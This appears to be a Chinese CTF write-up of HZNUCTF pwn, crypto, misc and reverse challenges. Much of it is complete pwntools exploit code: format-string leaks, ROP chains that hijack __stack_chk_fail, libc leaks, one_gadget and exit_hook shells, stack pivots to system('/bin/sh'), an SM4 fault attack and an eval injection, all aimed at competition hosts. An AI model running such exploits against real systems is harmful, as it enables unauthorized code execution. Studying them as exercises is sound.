thanks@Anz, fuck@Scr1pt
初赛 Pwn seer_game 例行查保护
IDA反编译,有个明显的格式化字符串漏洞,而且flag被写到了栈上,但是问题是输入的字符串长度最大为5,这么点根本不够任意地址读写
不过这个问题不大,显然5就是为了%10$s
这类的格式化字符串准备的。这样虽然不能任意地址,但是栈上的内容就对于我们不再透明,此外虽然不能直接看到偏移,那么就可以尝试一个一个把栈上的数据都读出来,直到读到flag内容
当然我们也可以调试看看,在print
的时候看下栈,还有注意这里是小端序,所以懂的
然后简单写一个exp把栈打印出来可还行,下面这个脚本有个坑,格式化字符串%x
打印出来的最多4个字节,因为%x
只是%d
的十六进制表示罢了,%d
是int,也就是4个字节,而程序是64位的,一个地址可以存8字节,而%x
只打印了一半。所以要么就%ld
%lld
,但这里只能输入5个字节,那还可以用%p
以指针的形式打印。%p
比较靠谱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *dict_ = {} for i in range (1 , 100 ): io = remote("121.40.181.50" , 10002 ) payload = b'%' + str (i).encode() + b'$x' io.sendafter(b">> " , payload) io.recvuntil(b"His identity is " ) stack_cont = io.recvuntil(b", are" )[2 :-5 ].decode() len_ = len (stack_cont) try : dict_.update({i: bytes .fromhex(stack_cont.rjust(len_ % 2 + len_, '0' ))[::-1 ]}) except : pass io.close() for i in dict_: print (f"{str (i).rjust(2 , '0' )} :{hex (i * 8 )[2 :].rjust(4 , '0' )} | {dict_[i]} " )
手动gdb了属于是,看到第10到13行,也就是flag了
wolf_game 知识点
hijack __stack__chk_fail
新姿势
经典ROP,美团的babyrop再现
题目描述 64位,动态编译,开启了canary和NX保护,提供的libc版本为libc-2.23
IDA反编译逻辑如下
kill
killed
一些gadget
一些one-gadget
分析思路
第一点
check显然是用C int有符号类型的范围无论是32位还是64位程序都为$[-\frac{2^{32}}{2},\ \frac{2^{32}}{2}-1]$即$[-2147483648,\ 2147483647]$,所以send-2147483648
就好,在取反的时候由于int的2147483648
就等于-2147483648
,check通过
第二点
kill函数里有一个任意地址写IDA的(void **)
什么意思,此外程序不存在后门函数
第三点
killed函数内部有一个栈溢出,溢出距离感人为24,调试发现刚好只能覆盖到返回地址,而且canary保护是开着的
首先要绕过canary,这里显然不能输出和爆破,联系第二点的任意地址写,一种绕过方法就是劫持__stack__chk_fail
,即在检测canary是否被改变时调用的函数。但这里没有后门,并不能劫持__stack__chk_fail
直接get shell,所以接下就有2种思路
思路1 谢师傅说如果将__stack__chk_fail
的got表改成ret
就能绕过canary检测了。现在先假设就算能绕过了canary,但溢出距离实在太短辣,只能控制返回地址。另外在看逻辑的时候,main函数里输入的那个具有足够空间、没有栈溢出的buf肯定会引起一些想法。那么此时就要回想起几个月前的美团,想起谢师傅的教诲
多看看栈,说不定会有宝藏
在main函数输入buf结束之后,buf是会滞留在栈上的(其实这里已经不能说是栈了,因为栈差不多都被弹空了,rsp已经来到了返回地址的位置,main函数的局部变量buf已经在栈底之下),如果将rop做进这里,__stack__chk_fail
不是ret
,而是pop
,把不要的都pop掉直到rsp
指向构造的第一句rop。先让我们看下当时的栈的情况:在leave; ret
停下,如下图所示AAAAAAAA
是输入的killed的buf的最后八个字节,下面那一串4xwi11
则是main函数里往buf输入的,可以看到他们之间相隔两行数据,刚好可以用上面的pop r14; pop r15; ret
来把它们弹出来,开始执行rop链
然后动调看看绕过canary,栈溢出选择导向到killed
步入__stack__chk_fail
,发现qs就直接ret了,并和预想的一样将再次运行killed
所以综上,将__stack__chk_fail
的got表填写为0x400b00
,就能进行rop,之后泄漏libc base,并再次导向killed,栈溢出导向main的buf,buf那时已经被我们写入了get shell的rop,从而get shell。或者第二次导向kill的时候直接栈溢出到one gadget,都能打成功。或者main函数里不是有exit吗,第一点check的时候,也可以exit_hook
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) io = remote("121.40.181.50" , 10004 ) _elf = ELF("./wolf_game" ) libc = ELF("./libc-2.23.so" ) stack_chk_fail = _elf.got['__stack_chk_fail' ] puts_plt = _elf.plt["puts" ] read_got = _elf.got["read" ] ret_addr = 0x400659 killed_addr = 0x4009D1 pop_rdi = 0x400b03 pop_2 = 0x400b00 main_addr = 0x4007F6 payload1 = b"-2147483648" io.sendline(payload1) io.send(p64(stack_chk_fail)) io.send(p64(ret_addr)) payload2 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(ret_addr) + p64(killed_addr) io.sendline(payload2) payload3 = b'a' * 24 + b"canaryyy" + b"1" * 8 + p64(pop_2) io.send(payload3) read_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) success("read_addr ====> " + hex (read_addr)) libc_base = read_addr - libc.sym["read" ] system_addr = libc_base + libc.sym["system" ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh\x00" )) success("libc_base ====> " + hex (libc_base)) success("system_addr ====> " + hex (system_addr)) success("bin_sh_addr ====> " + hex (bin_sh_addr)) one_gadget = [0x45226 , 0x4527a , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf1247 , 0xf67f0 ] payload4 = b'a' * 24 + b"canaryyy" + b"1" * 8 + p64(libc_base + one_gadget[0 ]) io.send(payload4) io.interactive()
打本地
打远程
思路2 舒哥提供的思路,同样是劫持__stack__chk_fail
,这次劫持到pop rdi; ret
。再次运行上面的payload,在call __stack_chk_fail
步入如下图一所示,此时的栈结构如下图二所示,不看已经不在栈上的内容,而是盯着目前的栈看,rsp
此时指向killed函数的leave
,下面就是killed的buf——那么如果我们把rop链做到这里呢?
(相比上一条思路,把rop直接写在killed的buf反倒也是我的第一感觉,但后面也不好找栈上的地址,就不好返回
如果killed的buf里写着rop,那么只要能控制rsp执行buf,就可以成功泄漏libc base等之后的一系列操作。rsp
因为有leave
回会到main函数或者其他我们控制的地址,那么直接把这个leave
给pop掉呢?再加上了ret
指令就可以让rsp执行rop。而这些同样也可以用劫持__stack_chk_fail
来完成,将__stack_chk_fail@got
修改为pop rdi; ret
这个gadget
动调证明确实如此
后面就用下exit_hook来get shell,exp见下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) io = remote("121.40.181.50" , 10004 ) _elf = ELF("./wolf_game" ) libc = ELF("./libc-2.23.so" ) stack_chk_fail = _elf.got['__stack_chk_fail' ] puts_plt = _elf.plt["puts" ] read_got = _elf.got["read" ] ret_addr = 0x400659 kill_addr = 0x400932 killed_addr = 0x4009D1 pop_rdi = 0x400b03 pop_2 = 0x400b00 main_addr = 0x4007F6 payload1 = b"-2147483648" io.sendline(payload1) io.send(p64(stack_chk_fail)) io.send(p64(pop_rdi)) io.sendline(b'1' ) payload2 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(ret_addr) + p64(main_addr) * 2 io.sendline(payload2) read_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = read_addr - libc.sym["read" ] success("libc_base ====> " + hex (libc_base)) io.sendline(payload1) dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848 io.send(p64(dl_rtld_unlock_recursive)) one_gadget = [0x45226 , 0x4527a , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf1247 , 0xf67f0 ] io.send(p64(libc_base + one_gadget[6 ])) io.sendline(b'1' ) io.sendline(payload2) io.sendline(b'100' ) io.interactive()
打本地
打远程
思路3(not solve) 还有一种思路也是舒哥提供的,栈迁移,与这道easyR0p 挺相像的
bss段如下图所示
看killed的汇编代码,buf是通过rbp来寻址的,这里可以通过修改rbp为任意地址进行任意地址写
比如我们控制rbp为bss段中的某一段地址+buf
,就能往bss段中写入rop,然后再次修改rbp指向这段bss,最终执行rop,泄漏libc base,get shell
但是在实际操作的时候还是遇到了问题,把rsp迁移到bss上没问题,开始执行pop rdi
如下图一,然后程序就死在了puts(read_got)
这里,如下图二。能够溢出的实在太少了,暂时还没能解决
先记下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) io = process("./wolf_game" ) _elf = ELF("./wolf_game" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) stack_chk_fail = _elf.got['__stack_chk_fail' ] puts_plt = _elf.plt["puts" ] read_got = _elf.got["read" ] ret_addr = 0x400659 kill_addr = 0x400932 killed_addr = 0x4009D1 pop_rdi = 0x400b03 pop_2 = 0x400b00 main_addr = 0x4007F6 bss_addr = 0x602080 lea_ret = 0x400930 pop_rbp = 0x400760 payload1 = b"-2147483648" io.sendline(payload1) io.send(p64(stack_chk_fail)) io.send(p64(ret_addr)) io.sendline(b'1' ) payload2 = b'A' * 32 + p64(bss_addr + 0x20 ) + p64(0x400A0B ) gdb.attach(io) pause() io.send(payload2) payload3 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(kill_addr) + p64(bss_addr - 8 ) + p64(lea_ret) io.send(payload3) read_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) success("read_addr ====> " + hex (read_addr)) libc_base = read_addr - libc.sym["read" ] success("libc_base ====> " + hex (libc_base)) dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848 io.send(p64(dl_rtld_unlock_recursive)) one_gadget = [0x45226 , 0x4527a , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf1247 , 0xf67f0 ] io.send(p64(libc_base + one_gadget[6 ])) io.sendline(payload2) io.sendline(b'100' ) io.interactive()
Crypto-ぎんたま9 也没什么好说的,自己记一下
提示也说了是utf-7编码,去年在东华杯的Misc签到第一次遇到,但其实前年的Hackergame就出过,看这位师傅的博客可以学到一些,Fr.https://miaotony.xyz/2020/11/08/CTF_2020Hackergame/#UTF-7-到-UTF-8-转换工具
首先提示是一串md5,在线逆一下提示utf-7
可以用在线的网站,Fr.http://toolswebtop.com/text/process/decode/utf-7
也可以用python2的decode('utf-7')
最后加上base64解码出来的头
1 HZNUCTF{7H3_M3N_W17H_N4TUR41_CUR1Y_H41R_4R3_N7T_B4D_GUY5!}
当然知道原理的还可以,直接解base64
决赛 Crypto math1 实际做的时候很简单,试一试就知道,把$c$进行摘要得到的就是flag
原理也比较基础,就是下面基本定理的推广 $$ m^{\varphi(n)+1}\equiv m^{(p-1)(q-1)+1}\equiv m\ (mod\ n)\notag $$ 简单证明一下,当$(m,\ n)=1$时,就是欧拉定理;当$(m,\ n)\ne 1$,即$m$是$p$或$q$的倍数时,证明如下
当$m=cp$,$c$是某个正整数时,必然$(m,\ q)=1$,否则$m$就是$q$的倍数,但$m<pq$。则 $$ [m^{\varphi(q)}]^{\varphi(p)}\equiv 1\ (mod\ q))\notag $$ 即 $$ m^{\varphi(n)}\equiv 1\ (mod\ q)\notag $$ 因此存在某个整数$k$,使得: $$ m^{\varphi(n)}=1+kq\notag $$ 在等式两边同时乘以$m=cp$,有 $$ m^{\varphi(n)+1}=m+kcpq=m+kcn\notag $$
$$ m^{\varphi(n)+1}\equiv m\ mod\ n\notag $$
$m=cq$同理,证毕
而其推论同样成立 $$ m^{k\varphi(n)+1}\equiv m\ (mod\ n)\notag $$
D4C 一次外面的师傅给我做的题目,出的初衷让大家多认识一个分解手段罢了(cm based factorization),所以过半上了hint,原理我看不懂,学懂的师傅带带我
用github上别人写好的代码,可以分解$n$,Frhttps://github.com/crocs-muni/cm_factorization
1 2 3 4 $ sage cm_factor.sage -N [n] -D 27 $ sage cm_factor.sage -N [n] -D 35 $ sage cm_factor.sage -N [n] -D 43 $ sage cm_factor.sage -N [n] -D 59
然后就可以求出$d$来,后面的就简单了
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from sage import inversen = p = q = r = s = assert n == p * q * r * se = 0x10001 a = int ((b'1' * 128 + b'1' ).hex (), 16 ) b = int ((b'1' * 128 + b'2' ).hex (), 16 ) phi = (p - 1 ) * (r - 1 ) * (q - 1 ) * (s - 1 ) d1 = inverse(e, phi) a = pow (a, d1, n) b = pow (b, d1, n) print (a)print (b)tmp_m1 = hex (pow (a, e, n))[2 :] tmp_m2 = hex (pow (b, e, n))[2 :] c1 = bytes .fromhex(tmp_m1.rjust(len (tmp_m1) % 2 + len (tmp_m1), '0' ))[:128 ] c2 = bytes .fromhex(tmp_m2.rjust(len (tmp_m2) % 2 + len (tmp_m2), '0' ))[:128 ] c = 74704491809129301431922126387259236131741663134391168615412812966492700892623601405402368087099571730256931303905652832294794514978433001412824232257513564130471734888624376732292892542067962162889981515796044054677065262159718624328379670223847474727251134104982577240172717005612604659753291960218280910803563709374350562828184329134141383582576091714559710119878799025791014527350120986309452179375923692502134903331617253682361593773647861433315490727739213348290415564461418246530360894539160399354008769541101954477775355503410800643258046481902813906228161547282647975966523246407914302640009159 phi = (p - 1 ) * (r - 1 ) d = inverse(e, phi) print (bytes .fromhex(hex (pow (c, d, p * r))[2 :]))
SorM 考察点
SM4 DFA(differential fault analysis)
与正常的SM4加解密相比,ecb模式下有有点不同,下面三个参数实现了对SM4 1~32中任意一轮的某一个字节的篡改
r0und:第r0und轮
r4nd:8位异或对象
j:将第r0und轮中的第j个字节与r4nd异或
经典的SM4差分攻击,最便捷的就是注入第32轮的$X_{32}$,从而导致$X_{35}$产生差分,下一步根据差分值恢复第32轮轮密钥
差分值的计算使用论文里的结论
密钥的恢复,每次爆破一个字节,观察上面的图,只要满足下图的关系,就可以作为待选密钥。然后有概率,我这里直接开20次一般都能找对
exp如下(注意:这里是注入第31~28轮,简单点的方法还是如上述所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *from collections import Counterfrom Crypto.Util.number import *from random import getrandbitsfrom exploit.blockCipher.mySM4 import *from base64 import b64encode, b64decodefrom itertools import productfrom string import ascii_letters, digitstable = ascii_letters + digits io = remote('47.96.253.167' , 9999 ) context.log_level = 'debug' ru = lambda s: io.recvuntil(s.encode()) sl = lambda s: io.sendline(s.encode()) sn = lambda s: io.send(s.encode()) rv = lambda : io.recv() rl = lambda : io.recvline()[:-1 ].decode() sla = lambda r, s: io.sendlineafter(r.encode(), s.encode()) sa = lambda r, s: io.sendafter(r.encode(), s.encode()) put_uint32_be = lambda n:[((n>>24 )&0xff ), ((n>>16 )&0xff ), ((n>>8 )&0xff ), ((n)&0xff )] lotr = lambda x, n:((x >> n) & 0xffffffff ) | ((x << (32 - n)) & 0xffffffff ) proof = ru('[+] Plz tell me XXXX: ' ) tail = proof[16 :32 ].decode() _hash = proof[37 :101 ].decode() for i in product(table, repeat=4 ): head = '' .join(i) t = hashlib.sha256((head + tail).encode()).hexdigest() if t == _hash : sl(head) break ru('again: ' ) ciphertext = rl() print (ciphertext)def encrypt (pt ): sla('[-] ' , '1' ) sla('plz give me plaintext in base64: ' , pt) ru('your ciphertext in base64: ' ) return rl() def encrypt2 (pt, r, f, p ): sla('[-] ' , '2' ) sla('plz give me plaintext in base64: ' , pt) sla("and don't forget to give me your round, rand, j: " , f'{r} {f} {p} ' ) ru('your ciphertext in base64: ' ) return rl() def decrypt (key ): sla('[-] ' , '3' ) sla('plz give me ciphertext in base64: ' , ciphertext) sla('plz give me key in base64: ' , key) ru('your plaintext in base64: ' ) return rl() def transform (ct ): ct = b64decode(ct) ct = [int (_.hex (), 16 ) for _ in [ct[:4 ], ct[4 :8 ], ct[8 :12 ], ct[12 :]]][::-1 ] return ct def decode_n_rounds (ct, rk ): for _ in rk: ct = [F([ct[3 ], ct[0 ], ct[1 ], ct[2 ]], _), ct[0 ], ct[1 ], ct[2 ]] return ct def rec_k_frk32_29 (kp ): k = [0 ] * 36 k[32 ], k[33 ], k[34 ], k[35 ] = kp for _ in range (31 , -1 , -1 ): k[_] = k[_ + 4 ] ^ T_1(k[_ + 1 ] ^ k[_ + 2 ] ^ k[_ + 3 ] ^ CK[_]) return [k[0 ] ^ FK[0 ], k[1 ] ^ FK[1 ], k[2 ] ^ FK[2 ], k[3 ] ^ FK[3 ]] payload_pt = b64encode(b'4xwi11' ).decode() rk32_29 = [] for r in [30 , 29 , 28 , 27 ]: rki = 0 raw_ct = encrypt(payload_pt) raw_ct = transform(raw_ct) raw_ct = decode_n_rounds(raw_ct, rk32_29) for j in range (4 ): r_x32, r_x33, r_x34, r_x35 = raw_ct[0 ], raw_ct[1 ], raw_ct[2 ], raw_ct[3 ] r_byte = put_uint32_be(r_x32 ^ r_x33 ^ r_x34)[j % 4 ] fault_ct = [] for x in range (20 ): tmp = transform(encrypt2(payload_pt, r, getrandbits(8 ), j)) fault_ct.append(decode_n_rounds(tmp, rk32_29)) ios = [] for i in fault_ct: f_x32, f_x33, f_x34, f_x35 = i[0 ], i[1 ], i[2 ], i[3 ] f_byte = put_uint32_be(f_x32 ^ f_x33 ^ f_x34)[j % 4 ] b = lotr(put_uint32_be(r_x35 ^ f_x35)[(j - 1 ) % 4 ], 2 ) ios.append((f_byte, b)) key = Counter() for xx in range (256 ): for f_byte, b in ios: if box[r_byte ^ xx] ^ box[f_byte ^ xx] == b: key[xx] += 1 rki = (rki << 8 ) + key.most_common()[0 ][0 ] rk32_29.append(rki) rk32_29 = rk32_29[::-1 ] key = rec_k_frk32_29(rk32_29) key = long_to_bytes(key[0 ])+long_to_bytes(key[1 ])+long_to_bytes(key[2 ])+long_to_bytes(key[3 ]) key = b64encode(key) print (key.decode())flag = decrypt(key.decode()) print (b64decode(flag))io.interactive()
Reference
Misc-Just-Signin 截取自外校师傅给的题,主要逻辑如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def multiply_func (self, x ): self.send(f'value 1: {repr (x)} ' .encode()) v = self.recv().decode() self.send(f'{x} * {v} ' .encode()) self.send(str (eval (f'{x} * {v} ' )).encode()) return eval (f'{x} * {v} ' ) def handle (self ): FLAG = open ('path' ).read() self.send(b"Welcome to the 4XWi11's Arithmetic classroom" ) self.send(b"I will give value1, you need to answer value2" ) self.send(b"and you need to multiply the two to equal 56" ) signal.alarm(5 ) for x in [7 , 7.77 , '77777' ]: if self.multiply_func(x) != 56 : self.send(b"wrong!" ) return else : self.send(b"Correct!" ) self.send(b"Congrats! Here is your flag: " ) self.send(FLAG.encode())
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibfrom string import ascii_letters, digitsfrom pwn import *from itertools import productcontext.log_level = 'debug' table = ascii_letters + digits class Solve (): def __init__ (self ): self.sh = remote('47.96.253.167' , 9997 ) def proof_of_work (self ): proof = self.sh.recvuntil(b'[+] Plz tell me XXXX:' ) tail = proof[16 :32 ].decode() _hash = proof[37 :101 ].decode() for i in product(table, repeat=4 ): head = '' .join(i) t = hashlib.sha256((head + tail).encode()).hexdigest() if t == _hash : self.sh.sendline(head.encode()) break def solve (self ): for i in ['8' , '100-721' , '1-77721' ]: self.sh.recv() self.sh.sendline(i.encode()) self.sh.recvuntil(b'}' ) if __name__ == '__main__' : solution = Solve() solution.solve()
其实还有一层,借用python的help()
来get shell
参考https://github.com/SECCON/SECCON2021_online_CTF/blob/main/misc/hitchhike/solver/solver.py
Pwn hunter_game 知识点
64位,只开启了NX保护,能被攻击的代码如下
scanf的格式化字符串漏洞,利用%n$p
可以将栈上存放的地址指向读入的任意长的数据,于是就可以往rbp那里写入后门函数的地址
但是这个偏移,搞不懂,在libc2.23下,试出来偏移为7
libc2.27下试了挺久都没试出来
最后的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = 'debug' io = process("./hunter_game" ) bullet = 0x400811 payload = b'%7$s' io.send(payload) gdb.attach(io) pause() io.sendline(p64(bullet) * 1000 ) io.interactive()
repairman 补充上次2021湖湘杯线下赛的game复现 ,这次着重注意下抬栈的操作
64位栈迁移,开了canary
如下图所示,有system函数,/bin/sh
可以在main里输入bss段
canary是最简单的类型
最后有一个距离只够16个字节的栈溢出
按理说知道上面这些,这道简化版的game应该是没问题了
但是,直接往bss段上写下面这段payload攻击失败
1 payload = b"/bin/sh\x00" + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)
动调看看
开始寻找system,没问题
然后程序就死在下张图这里
因为上面这句话使得rsp被压低了,压低了0x3c0
,如下图二,应该是为后面_dl_runtime_resolve
的正常执行;但是我们毕竟不是正常执行到这里的(rsp还没有准备好),经过这一压低的栈操作,栈顶指针直接被干到了0x601d00
,如下图三、四,是不可写的段
这就使得下面这句话无法执行了,从而程序崩溃了
1 2 0x7fe298037f18 <_dl_runtime_resolve_xsavec+8> sub rsp, qword ptr [rip + 0x20de31] <0x7fe298245d50> ► 0x7fe298037f1f <_dl_runtime_resolve_xsavec+15> mov qword ptr [rsp], rax
栈迁移,确实经常遇到这样的问题,不小心跑到没有写权限的段,导致程序崩溃。怎么调整,也很简单,将rsp抬到足够的位置,就算再减,也跑不出0x602000-0x603000
的范围,同时还要满足为_dl_runtime_resolve
开辟的栈空间。这就可以想到用ret
来每次将rsp
抬升8字节
经计算,需要0x3c0*2/8=240
个ret
当然这是本地,远程的小版本可能不一样,要抬得更高
最终的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *io = remote("121.40.181.50" , 10001 ) system_addr = 0x4006d0 pop_rdi_ret = 0x400be3 bss_addr = 0x6020c0 ret_addr = 0x400679 leave_ret_addr = 0x4009b8 payload1 = b"/bin/sh\x00" + p64(ret_addr) * 0x197 + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr) io.sendline(payload1) payload2 = b"A" * 40 io.sendline(payload2) io.recvuntil(b"A" * 40 + b"\n" ) canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) print ("canary ====>" , hex (canary))payload3 = b"A" * 40 + p64(canary) + p64(bss_addr) + p64(leave_ret_addr) io.sendline(payload3) io.interactive()
Re fuckoff_easy_code 知识点
32位exe程序,来到main
函数这里,f5反编译不了
看到下图这里
加了一个CTF中典型的花指令
去花指令
在0x401116
这里按d
转成数据
在0x401117
这里按c
转回代码
把0x401116
给nop掉
然后选中全部main
按c
最后在main
开头创建函数
然后就能看到逻辑了
是个简单异或,提下数据以获取就好
cao,这个勾吧顺序有点问题。最简单的还是在动调里用lazyida插件将数据以dword的形式提取出来
1 2 3 4 c = [0x0000000C , 0x0000001E , 0x0000000A , 0x00000011 , 0x00000007 , 0x00000010 , 0x00000002 , 0x0000001F , 0x00000022 , 0x00000008 , 0x0000000B , 0x00000033 , 0x00000021 , 0x00000016 , 0x0000003B , 0x00000007 , 0x0000002B , 0x00000000 , 0x00000001 , 0x0000003B , 0x00000001 , 0x00000005 , 0x00000037 , 0x0000001D , 0x00000000 , 0x00000000 , 0x00000019 ] for i in range (len (c)): print (chr (c[i] ^ 100 ), end='' )
virus 知识点
正常做法太长,这里记下非预期的做法
运行程序
打开Scylla,将进程dump下来
然后就可以看逻辑了,也是一个简单异或
1 2 3 c = [38 , 52 , 32 , 59 , 45 , 58 , 40 , 53 , 61 , 127 , 35 , 30 , 34 , 43 , 17 , 56 , 2 , 28 , 59 , 61 , 17 , 58 , 60 , 127 , 45 , 37 , 51 ] for i in c: print (chr (i ^ 78 ), end='' )